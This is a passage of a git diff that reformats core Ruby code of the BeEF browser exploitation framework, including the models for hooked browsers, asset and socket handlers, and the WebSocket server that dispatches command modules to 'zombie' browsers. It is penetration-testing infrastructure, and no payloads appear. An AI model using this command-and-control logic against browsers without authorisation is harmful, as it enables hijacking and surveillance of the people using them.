print_info log - - true - end - - # @note show status - def self.show_status(status) - case status - when -1 - result = 'ERROR' - when 1 - result = 'SUCCESS' - else - result = 'UNKNOWN' + # @note show status + def self.show_status(status) + case status + when -1 + 'ERROR' + when 1 + 'SUCCESS' + else + 'UNKNOWN' + end + end end - result end end end -end -end diff --git a/core/main/models/commandmodule.rb b/core/main/models/commandmodule.rb index dbd54f0a33..dec6ebb7f5 100644 --- a/core/main/models/commandmodule.rb +++ b/core/main/models/commandmodule.rb @@ -4,15 +4,11 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - - class CommandModule < BeEF::Core::Model - - has_many :commands - + module Core + module Models + class CommandModule < BeEF::Core::Model + has_many :commands + end + end end - -end -end end diff --git a/core/main/models/hookedbrowser.rb b/core/main/models/hookedbrowser.rb index f0670bc64c..dd4e7fef2a 100644 --- a/core/main/models/hookedbrowser.rb +++ b/core/main/models/hookedbrowser.rb @@ -4,22 +4,18 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # - # - class HookedBrowser < BeEF::Core::Model - - has_many :commands - has_many :results - has_many :logs - - # @note Increases the count of a zombie - def count! - if not self.count.nil? then self.count += 1; else self.count = 1; end + module Core + module Models + class HookedBrowser < BeEF::Core::Model + has_many :commands + has_many :results + has_many :logs + + # @note Increases the count of a zombie + def count! + count.nil? ? self.count = 1 : self.count += 1 + end + end end end end -end -end diff --git a/core/main/models/log.rb b/core/main/models/log.rb index b7d4b1e83f..04de806e0b 100644 --- a/core/main/models/log.rb +++ b/core/main/models/log.rb @@ -4,15 +4,11 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - - class Log < BeEF::Core::Model - - has_one :hooked_browser - - + module Core + module Models + class Log < BeEF::Core::Model + has_one :hooked_browser + end + end end end -end -end diff --git a/core/main/models/optioncache.rb b/core/main/models/optioncache.rb index ce1eab38c3..4fd69cec38 100644 --- a/core/main/models/optioncache.rb +++ b/core/main/models/optioncache.rb @@ -4,13 +4,10 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - -class OptionCache < BeEF::Core::Model - -end - -end -end + module Core + module Models + class OptionCache < BeEF::Core::Model + end + end + end end diff --git a/core/main/models/result.rb b/core/main/models/result.rb index 741af38408..8b776a621b 100644 --- a/core/main/models/result.rb +++ b/core/main/models/result.rb @@ -4,16 +4,12 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - - class Result < BeEF::Core::Model - - has_one :command - has_one :hooked_browser - + module Core + module Models + class Result < BeEF::Core::Model + has_one :command + has_one :hooked_browser + end + end end - -end -end end diff --git a/core/main/network_stack/api.rb b/core/main/network_stack/api.rb index ea258c8e73..e35df1fac5 100644 --- a/core/main/network_stack/api.rb +++ b/core/main/network_stack/api.rb @@ -4,22 +4,18 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module NetworkStack - - module RegisterHttpHandler + module Core + module NetworkStack + module RegisterHttpHandler + # Register the http handler for the network stack + # @param [Object] server HTTP server instance + def self.mount_handler(server) + # @note this mounts the dynamic handler + server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new) + end + end - # Register the http handler for the network stack - # @param [Object] server HTTP server instance - def self.mount_handler(server) - # @note this mounts the dynamic handler - server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new) + BeEF::API::Registrar.instance.register(BeEF::Core::NetworkStack::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') end - end - - BeEF::API::Registrar.instance.register(BeEF::Core::NetworkStack::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') - -end -end end diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 81f944e7c4..9674d19a40 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -4,256 +4,251 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module NetworkStack -module Handlers - - # @note Class defining BeEF assets - class AssetHandler - - # @note call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance - include Singleton - - attr_reader :allocations, :root_dir - - # Starts the AssetHandler instance - def initialize - @allocations = {} - @sockets = {} - @http_server = BeEF::Core::Server.instance - @root_dir = File.expand_path('../../../../', __FILE__) - end - - # Binds a redirector to a mount point - # @param [String] target The target for the redirector - # @param [String] path An optional URL path to mount the redirector to (can be nil for a random path) - # @return [String] URL Path of the redirector - # @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc. - def bind_redirect(target, path=nil) - url = build_url(path,nil) - @allocations[url] = {'target' => target} - @http_server.mount(url,BeEF::Core::NetworkStack::Handlers::Redirector.new(target)) - @http_server.remap - print_info "Redirector to [" + target + "] bound to url [" + url + "]" - url - rescue => e - print_error "Failed to mount #{path} : #{e.message}" - print_error e.backtrace - end - - # Binds raw HTTP to a mount point - # @param [Integer] status HTTP status code to return - # @param [String] headers HTTP headers as a JSON string to return - # @param [String] body HTTP body to return - # @param [String] path URL path to mount the asset to TODO (can be nil for random path) - # @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) - def bind_raw(status, header, body, path=nil, count=-1) - url = build_url(path,nil) - @allocations[url] = {} - @http_server.mount( - url, - BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body) - ) - @http_server.remap - print_info "Raw HTTP bound to url [" + url + "]" - url - rescue => e - print_error "Failed to mount #{path} : #{e.message}" - print_error e.backtrace - end + module Core + module NetworkStack + module Handlers + # @note Class defining BeEF assets + class AssetHandler + # @note call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance + include Singleton + + attr_reader :allocations, :root_dir + + # Starts the AssetHandler instance + def initialize + @allocations = {} + @sockets = {} + @http_server = BeEF::Core::Server.instance + @root_dir = File.expand_path('../../..', __dir__) + end - # Binds a file to a mount point - # @param [String] file File path to asset - # @param [String] path URL path to mount the asset to (can be nil for random path) - # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for() - # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) - # @return [String] URL Path of mounted asset - # @todo This function should accept a hooked browser session to limit the mounted file to a certain session - def bind(file, path=nil, extension=nil, count=-1) - unless File.exist? "#{root_dir}#{file}" - print_error "Failed to mount file #{root_dir}#{file}. File does not exist" - return - end + # Binds a redirector to a mount point + # @param [String] target The target for the redirector + # @param [String] path An optional URL path to mount the redirector to (can be nil for a random path) + # @return [String] URL Path of the redirector + # @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc. + def bind_redirect(target, path = nil) + url = build_url(path, nil) + @allocations[url] = { 'target' => target } + @http_server.mount(url, BeEF::Core::NetworkStack::Handlers::Redirector.new(target)) + @http_server.remap + print_info 'Redirector to [' + target + '] bound to url [' + url + ']' + url + rescue StandardError => e + print_error "Failed to mount #{path} : #{e.message}" + print_error e.backtrace + end - url = build_url(path, extension) - @allocations[url] = {'file' => "#{root_dir}#{file}", - 'path' => path, - 'extension' => extension, - 'count' => count} + # Binds raw HTTP to a mount point + # @param [Integer] status HTTP status code to return + # @param [String] headers HTTP headers as a JSON string to return + # @param [String] body HTTP body to return + # @param [String] path URL path to mount the asset to TODO (can be nil for random path) + # @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) + def bind_raw(status, header, body, path = nil, _count = -1) + url = build_url(path, nil) + @allocations[url] = {} + @http_server.mount( + url, + BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body) + ) + @http_server.remap + print_info 'Raw HTTP bound to url [' + url + ']' + url + rescue StandardError => e + print_error "Failed to mount #{path} : #{e.message}" + print_error e.backtrace + end - resp_body = File.read("#{root_dir}#{file}") + # Binds a file to a mount point + # @param [String] file File path to asset + # @param [String] path URL path to mount the asset to (can be nil for random path) + # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for() + # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) + # @return [String] URL Path of mounted asset + # @todo This function should accept a hooked browser session to limit the mounted file to a certain session + def bind(file, path = nil, extension = nil, count = -1) + unless File.exist? "#{root_dir}#{file}" + print_error "Failed to mount file #{root_dir}#{file}. File does not exist" + return + end - if extension.nil? || MIME::Types.type_for(extension).empty? - content_type = 'text/plain' - else - content_type = MIME::Types.type_for(extension).first.content_type - end + url = build_url(path, extension) + @allocations[url] = { 'file' => "#{root_dir}#{file}", + 'path' => path, + 'extension' => extension, + 'count' => count } - @http_server.mount( - url, - BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type' => content_type}, resp_body) - ) + resp_body = File.read("#{root_dir}#{file}") - @http_server.remap - print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]" + content_type = if extension.nil? || MIME::Types.type_for(extension).empty? + 'text/plain' + else + MIME::Types.type_for(extension).first.content_type + end - url - rescue => e - print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}" - print_error e.backtrace - end + @http_server.mount( + url, + BeEF::Core::NetworkStack::Handlers::Raw.new('200', { 'Content-Type' => content_type }, resp_body) + ) - # Binds a file to a mount point (cached for 1 year) - # @param [String] file File path to asset - # @param [String] path URL path to mount the asset to (can be nil for random path) - # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for() - # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) - # @return [String] URL Path of mounted asset - # @todo This function should accept a hooked browser session to limit the mounted file to a certain session - def bind_cached(file, path=nil, extension=nil, count=-1) - unless File.exist? "#{root_dir}#{file}" - print_error "Failed to mount file #{root_dir}#{file}. File does not exist" - return - end + @http_server.remap + print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]" - url = build_url(path, extension) - @allocations[url] = {'file' => "#{root_dir}#{file}", - 'path' => path, - 'extension' => extension, - 'count' => count} - - resp_body = File.read("#{root_dir}#{file}") + url + rescue StandardError => e + print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}" + print_error e.backtrace + end - if extension.nil? || MIME::Types.type_for(extension).empty? - content_type = 'text/plain' - else - content_type = MIME::Types.type_for(extension).first.content_type - end + # Binds a file to a mount point (cached for 1 year) + # @param [String] file File path to asset + # @param [String] path URL path to mount the asset to (can be nil for random path) + # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for() + # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) + # @return [String] URL Path of mounted asset + # @todo This function should accept a hooked browser session to limit the mounted file to a certain session + def bind_cached(file, path = nil, extension = nil, count = -1) + unless File.exist? "#{root_dir}#{file}" + print_error "Failed to mount file #{root_dir}#{file}. File does not exist" + return + end - @http_server.mount( - url, - BeEF::Core::NetworkStack::Handlers::Raw.new( - '200', { - 'Content-Type' => content_type, - 'Expires' => CGI.rfc1123_date(Time.now+(60*60*24*365)) }, - resp_body) - ) + url = build_url(path, extension) + @allocations[url] = { 'file' => "#{root_dir}#{file}", + 'path' => path, + 'extension' => extension, + 'count' => count } + + resp_body = File.read("#{root_dir}#{file}") + + content_type = if extension.nil? || MIME::Types.type_for(extension).empty? + 'text/plain' + else + MIME::Types.type_for(extension).first.content_type + end + + @http_server.mount( + url, + BeEF::Core::NetworkStack::Handlers::Raw.new( + '200', { + 'Content-Type' => content_type, + 'Expires' => CGI.rfc1123_date(Time.now + (60 * 60 * 24 * 365)) + }, + resp_body + ) + ) + + @http_server.remap + print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]" + + url + rescue StandardError => e + print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}" + print_error e.backtrace + end - @http_server.remap - print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]" + # Unbinds a file from a mount point + # @param [String] url URL path of asset to be unbinded + # TODO: check why is throwing exception + def unbind(url) + @allocations.delete(url) + @http_server.unmount(url) + @http_server.remap + print_info "Url [#{url}] unmounted" + end - url - rescue => e - print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}" - print_error e.backtrace - end + # use it like: bind_socket("irc","0.0.0.0",6667) + def bind_socket(name, host, port) + unless @sockets[name].nil? + print_error "Bind Socket [#{name}] is already listening on [#{host}:#{port}]." + return + end - # Unbinds a file from a mount point - # @param [String] url URL path of asset to be unbinded - #TODO: check why is throwing exception - def unbind(url) - @allocations.delete(url) - @http_server.unmount(url) - @http_server.remap - print_info "Url [#{url}] unmounted" - end + t = Thread.new do + server = TCPServer.new(host, port) + loop do + Thread.start(server.accept) do |client| + data = '' + recv_length = 1024 + threshold = 1024 * 512 + while (tmp = client.recv(recv_length)) + data += tmp + break if tmp.length < recv_length || tmp.length == recv_length + # 512 KB max of incoming data + break if data > threshold + end + if data.size > threshold + print_error "More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved." + else + @sockets[name] = { 'thread' => t, 'data' => data } + print_info "Bind Socket [#{name}] received [#{data.size}] bytes of data." + print_debug "Bind Socket [#{name}] received:\n#{data}" + end + client.close + end + end + end - # use it like: bind_socket("irc","0.0.0.0",6667) - def bind_socket(name, host, port) - unless @sockets[name].nil? - print_error "Bind Socket [#{name}] is already listening on [#{host}:#{port}]." - return - end + print_info "Bind socket [#{name}] listening on [#{host}:#{port}]." + end - t = Thread.new { - server = TCPServer.new(host,port) - loop do - Thread.start(server.accept) do |client| - data = "" - recv_length = 1024 - threshold = 1024 * 512 - while (tmp = client.recv(recv_length)) - data += tmp - break if tmp.length < recv_length || tmp.length == recv_length - # 512 KB max of incoming data - break if data > threshold + def get_socket_data(name) + if @sockets[name].nil? + print_error "Bind Socket [#{name}] does not exists." + return end - if data.size > threshold - print_error "More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved." + @sockets[name]['data'] + end + + def unbind_socket(name) + t = @sockets[name]['thread'] + if t.alive? + print_debug "Thread to be killed: #{t}" + Thread.kill(t) + print_info "Bind Socket [#{name}] killed." else - @sockets[name] = {'thread' => t, 'data' => data} - print_info "Bind Socket [#{name}] received [#{data.size}] bytes of data." - print_debug "Bind Socket [#{name}] received:\n#{data}" + print_info "Bind Socket [#{name}] ALREADY killed." end - client.close end - end - } - - print_info "Bind socket [#{name}] listening on [#{host}:#{port}]." - end - - def get_socket_data(name) - if @sockets[name].nil? - print_error "Bind Socket [#{name}] does not exists." - return - end - @sockets[name]['data'] - end - - def unbind_socket(name) - t = @sockets[name]['thread'] - if t.alive? - print_debug "Thread to be killed: #{t}" - Thread.kill(t) - print_info "Bind Socket [#{name}] killed." - else - print_info "Bind Socket [#{name}] ALREADY killed." - end - end - # Builds a URL based on the path and extension, if neither are passed a random URL will be generated - # @param [String] path URL Path defined by bind() - # @param [String] extension Extension defined by bind() - # @param [Integer] length The amount of characters to be used when generating a random URL - # @return [String] Generated URL - def build_url(path, extension, length=20) - url = (path == nil) ? '/'+rand(36**length).to_s(36) : path - url += (extension == nil) ? '' : '.'+extension - url - end + # Builds a URL based on the path and extension, if neither are passed a random URL will be generated + # @param [String] path URL Path defined by bind() + # @param [String] extension Extension defined by bind() + # @param [Integer] length The amount of characters to be used when generating a random URL + # @return [String] Generated URL + def build_url(path, extension, length = 20) + url = path.nil? ? '/' + rand(36**length).to_s(36) : path + url += extension.nil? ? '' : '.' + extension + url + end - # Checks if the file is allocated, if the file isn't return true to pass onto FileHandler. - # @param [String] url URL Path of mounted file - # @return [Boolean] Returns true if the file is mounted - def check(url) - return false unless @allocations.has_key?(url) + # Checks if the file is allocated, if the file isn't return true to pass onto FileHandler. + # @param [String] url URL Path of mounted file + # @return [Boolean] Returns true if the file is mounted + def check(url) + return false unless @allocations.has_key?(url) - count = @allocations[url]['count'] + count = @allocations[url]['count'] - if count == -1 - return true - end + return true if count == -1 - if count > 0 - if (count - 1) == 0 + if count > 0 + if (count - 1) == 0 unbind(url) - else + else @allocations[url]['count'] = count - 1 + end + return true end - return true - end - false - end - - private - @http_server - @allocations + false + end + @http_server + @allocations + end + end + end end - -end -end -end end diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index 9383fda601..b72458358d 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -7,18 +7,16 @@ module BeEF module Core module NetworkStack module Handlers - # @note DynamicHandler is used reconstruct segmented traffic from the hooked browser class DynamicReconstruction < BeEF::Core::Router::Router - # @note holds packet queue - PQ = Array.new() + PQ = [] # @note obtain dynamic mount points from HttpHookServer MOUNTS = BeEF::Core::Server.instance.mounts before do - error 404 unless !params.empty? + error 404 if params.empty? headers 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' @@ -34,55 +32,50 @@ class DynamicReconstruction < BeEF::Core::Router::Router 'Access-Control-Allow-Methods' => 'POST, GET' begin PQ << { - :beefhook => params[:bh], - :stream_id => Integer(params[:sid]), - :packet_id => Integer(params[:pid]), - :packet_count => Integer(params[:pc]), - :data => params[:d] + beefhook: params[:bh], + stream_id: Integer(params[:sid]), + packet_id: Integer(params[:pid]), + packet_count: Integer(params[:pc]), + data: params[:d] } rescue TypeError, ArgumentError => e print_error "Hooked browser returned an invalid argument: #{e}" end - Thread.new { - check_packets() - } + Thread.new do + check_packets + end end # Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets - def check_packets() - checked = Array.new() + def check_packets + checked = [] PQ.each do |packet| - if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id]))) - next - end - checked << packet[:beefhook]+':'+String(packet[:stream_id]) + next if checked.include?(packet[:beefhook] + ':' + String(packet[:stream_id])) + + checked << (packet[:beefhook] + ':' + String(packet[:stream_id])) pc = 0 PQ.each do |p| - if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id]) - pc += 1 - end + pc += 1 if packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id] + end + next unless packet[:packet_count] == pc + + packets = expunge(packet[:beefhook], packet[:stream_id]) + data = '' + packets.each_with_index do |sp, _i| + data += sp[:data] if packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id] end - if (packet[:packet_count] == pc) - packets = expunge(packet[:beefhook], packet[:stream_id]) - data = '' - packets.each_with_index do |sp, i| - if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]) - data += sp[:data] - end - end - b64 = Base64.decode64(data) - begin - res = JSON.parse(b64).first - res['beefhook'] = packet[:beefhook] - res['request'] = request - res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] - execute(res) - rescue JSON::ParserError => e - print_debug 'Network stack could not decode packet stream.' - print_debug 'Dumping Stream Data [base64]: '+data - print_debug 'Dumping Stream Data: '+b64 - end + b64 = Base64.decode64(data) + begin + res = JSON.parse(b64).first + res['beefhook'] = packet[:beefhook] + res['request'] = request + res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] + execute(res) + rescue JSON::ParserError => e + print_debug 'Network stack could not decode packet stream.' + print_debug 'Dumping Stream Data [base64]: ' + data + print_debug 'Dumping Stream Data: ' + b64 end end end @@ -100,8 +93,8 @@ def expunge(beefhook, stream_id) # @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction def execute(data) handler = get_param(data, 'handler') - if (MOUNTS.has_key?(handler)) - if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2) + if MOUNTS.has_key?(handler) + if MOUNTS[handler].instance_of?(Array) and MOUNTS[handler].length == 2 MOUNTS[handler][0].new(data, MOUNTS[handler][1]) else MOUNTS[handler].new(data) @@ -115,6 +108,7 @@ def execute(data) # @return Value associated with `key` def get_param(query, key) return nil if query[key].nil? + query[key] end end diff --git a/core/main/network_stack/handlers/raw.rb b/core/main/network_stack/handlers/raw.rb index 97899aebf2..e027e75a3f 100644 --- a/core/main/network_stack/handlers/raw.rb +++ b/core/main/network_stack/handlers/raw.rb @@ -7,32 +7,27 @@ module BeEF module Core module NetworkStack module Handlers - class Raw + def initialize(status, header = {}, body = nil) + @status = status + @header = header + @body = body + end - def initialize(status, header={}, body=nil) - @status = status - @header = header - @body = body - end - - def call(env) - # [@status, @header, @body] - @response = Rack::Response.new( - body = @body, - status = @status, - header = @header - ) - end - - private + def call(_env) + # [@status, @header, @body] + @response = Rack::Response.new( + body = @body, + status = @status, + header = @header + ) + end - @request + @request - @response - - end - end -end -end + @response + end + end + end + end end diff --git a/core/main/network_stack/handlers/redirector.rb b/core/main/network_stack/handlers/redirector.rb index 31d92572c7..9f24955a89 100644 --- a/core/main/network_stack/handlers/redirector.rb +++ b/core/main/network_stack/handlers/redirector.rb @@ -7,36 +7,31 @@ module BeEF module Core module NetworkStack module Handlers - # @note Redirector is used as a Rack app for mounting HTTP redirectors, instead of content # @todo Add new options to specify what kind of redirect you want to achieve class Redirector - - @target = "" - - def initialize(target) - @target = target - end - - def call(env) - @response = Rack::Response.new( - body = ['302 found'], - status = 302, - header = { - 'Content-Type' => 'text', - 'Location' => @target - } - ) - end - - private - - @request - - @response - - end - end -end -end + @target = '' + + def initialize(target) + @target = target + end + + def call(_env) + @response = Rack::Response.new( + body = ['302 found'], + status = 302, + header = { + 'Content-Type' => 'text', + 'Location' => @target + } + ) + end + + @request + + @response + end + end + end + end end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index b215889ae7..47d2468f9f 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,32 +27,28 @@ def initialize secure = @@config.get('beef.http.websocket.secure') # @note Start a WSS server socket - if (secure) + if secure cert_key = @@config.get('beef.http.https.key') - unless cert_key.start_with? '/' - cert_key = File.expand_path cert_key, $root_dir - end + cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/' unless File.exist? cert_key print_error "Error: #{cert_key} does not exist" exit 1 end cert = @@config.get('beef.http.https.cert') - unless cert.start_with? '/' - cert = File.expand_path cert, $root_dir - end + cert = File.expand_path cert, $root_dir unless cert.start_with? '/' unless File.exist? cert print_error "Error: #{cert} does not exist" exit 1 end ws_secure_options = { - :host => @@config.get('beef.http.host'), - :port => @@config.get('beef.http.websocket.secure_port'), - :secure => true, - :tls_options => { - :cert_chain_file => cert, - :private_key_file => cert_key, + host: @@config.get('beef.http.host'), + port: @@config.get('beef.http.websocket.secure_port'), + secure: true, + tls_options: { + cert_chain_file: cert, + private_key_file: cert_key } } start_websocket_server(ws_secure_options) @@ -60,9 +56,9 @@ def initialize # @note Start a WS server socket ws_options = { - :host => @@config.get('beef.http.host'), - :port => @@config.get('beef.http.websocket.port'), - :secure => false + host: @@config.get('beef.http.host'), + port: @@config.get('beef.http.websocket.port'), + secure: false } start_websocket_server(ws_options) end @@ -77,119 +73,117 @@ def start_websocket_server(ws_options) EventMachine.run do EventMachine::WebSocket.start(ws_options) do |ws| - begin - ws.onopen do |handshake| - print_debug("[WebSocket] New #{secure ? 'WebSocketSecure' : 'WebSocket'} channel open.") - end + ws.onopen do |_handshake| + print_debug("[WebSocket] New #{secure ? 'WebSocketSecure' : 'WebSocket'} channel open.") + end - ws.onerror do |error| - print_error "[WebSocket] Error: #{error}" - end + ws.onerror do |error| + print_error "[WebSocket] Error: #{error}" + end + + ws.onclose do |msg| + print_debug "[WebSocket] Connection closed: #{msg}" + end - ws.onclose do |msg| - print_debug "[WebSocket] Connection closed: #{msg}" + ws.onmessage do |msg, _type| + begin + msg_hash = JSON.parse(msg) + print_debug "[WebSocket] New message: #{msg_hash}" if @@debug + rescue StandardError => e + print_error "[WebSocket] Failed parsing WebSocket message: #{e.message}" + print_error e.backtrace + next end - ws.onmessage do |msg, type| - begin - msg_hash = JSON.parse(msg) - print_debug "[WebSocket] New message: #{msg_hash}" if @@debug - rescue => e - print_error "[WebSocket] Failed parsing WebSocket message: #{e.message}" - print_error e.backtrace + # new zombie + unless msg_hash['cookie'].nil? + print_debug('[WebSocket] Browser says hello! WebSocket is running') + # insert new connection in activesocket + @@activeSocket[(msg_hash['cookie']).to_s] = ws + print_debug("[WebSocket] activeSocket content [#{@@activeSocket}]") + + hb_session = msg_hash['cookie'] + hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hb_session).first + if hooked_browser.nil? + print_error '[WebSocket] Fingerprinting not finished yet.' + print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.' next end - # new zombie - unless msg_hash['cookie'].nil? - print_debug("[WebSocket] Browser says hello! WebSocket is running") - # insert new connection in activesocket - @@activeSocket["#{msg_hash["cookie"]}"] = ws - print_debug("[WebSocket] activeSocket content [#{@@activeSocket}]") - - hb_session = msg_hash["cookie"] - hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hb_session).first - if hooked_browser.nil? - print_error '[WebSocket] Fingerprinting not finished yet.' - print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.' - next - end - - browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.name') - browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.version') - os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.name') - os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.version') - BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version) + browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.name') + browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.version') + os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.name') + os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.version') + BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version) + + next + end + # polling zombie + unless msg_hash['alive'].nil? + hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: msg_hash['alive']).first + + # This will happen if you reset BeEF database (./beef -x), + # and existing zombies try to connect. These zombies will be ignored, + # as they are unknown and presumed invalid. + # + # @todo: consider fixing this. add zombies instead of ignoring them + # and report "Hooked browser X appears to have come back online" + if hooked_browser.nil? + # print_error "Could not find zombie with ID #{msg_hash['alive']}" next end - # polling zombie - unless msg_hash['alive'].nil? - hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => msg_hash["alive"]).first - - # This will happen if you reset BeEF database (./beef -x), - # and existing zombies try to connect. These zombies will be ignored, - # as they are unknown and presumed invalid. - # - # @todo: consider fixing this. add zombies instead of ignoring them - # and report "Hooked browser X appears to have come back online" - if hooked_browser.nil? - # print_error "Could not find zombie with ID #{msg_hash['alive']}" - next - end - - hooked_browser.lastseen = Time.new.to_i - hooked_browser.count! - hooked_browser.save! - - # Check if new modules need to be sent - zombie_commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } - - # Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered - are_body = '' - are_executions = BeEF::Core::Models::Execution.where(:is_sent => false, :session_id => hooked_browser.session) - are_executions.each do |are_exec| - are_body += are_exec.mod_body - are_exec.update(:is_sent => true, :exec_time => Time.new.to_i) - end - @@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty? - - # @todo antisnatchor: - # @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions - # Check if new forged requests need to be sent (Requester/TunnelingProxy) - if @@config.get('beef.extension.requester.loaded') - dhook = BeEF::Extension::Requester::API::Hook.new - dhook.requester_run(hooked_browser, '') - end - - # Check if new XssRays scan need to be started - if @@config.get('beef.extension.xssrays.loaded') - xssrays = BeEF::Extension::Xssrays::API::Scan.new - xssrays.start_scan(hooked_browser, '') - end + hooked_browser.lastseen = Time.new.to_i + hooked_browser.count! + hooked_browser.save! - next + # Check if new modules need to be sent + zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false) + zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + + # Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered + are_body = '' + are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hooked_browser.session) + are_executions.each do |are_exec| + are_body += are_exec.mod_body + are_exec.update(is_sent: true, exec_time: Time.new.to_i) + end + @@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty? + + # @todo antisnatchor: + # @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + # Check if new forged requests need to be sent (Requester/TunnelingProxy) + if @@config.get('beef.extension.requester.loaded') + dhook = BeEF::Extension::Requester::API::Hook.new + dhook.requester_run(hooked_browser, '') end - # received request for a specific handler - # the zombie is probably trying to return command module results - # or call back to a running BeEF extension - unless msg_hash['handler'].nil? - # Call the handler for websocket cmd response - # Base64 decode, parse JSON, and forward - execute(msg_hash) - next + # Check if new XssRays scan need to be started + if @@config.get('beef.extension.xssrays.loaded') + xssrays = BeEF::Extension::Xssrays::API::Scan.new + xssrays.start_scan(hooked_browser, '') end - print_error "[WebSocket] Unexpected WebSocket message: #{msg_hash}" + next + end + + # received request for a specific handler + # the zombie is probably trying to return command module results + # or call back to a running BeEF extension + unless msg_hash['handler'].nil? + # Call the handler for websocket cmd response + # Base64 decode, parse JSON, and forward + execute(msg_hash) + next end + + print_error "[WebSocket] Unexpected WebSocket message: #{msg_hash}" end end end end - rescue => e + rescue StandardError => e print_error "[WebSocket] Error: #{e.message}" raise e end @@ -198,7 +192,7 @@ def start_websocket_server(ws_options) # @note retrieve the right websocket channel given an hooked browser session # @param [String] session the hooked browser session # - def getsocket (session) + def getsocket(session) 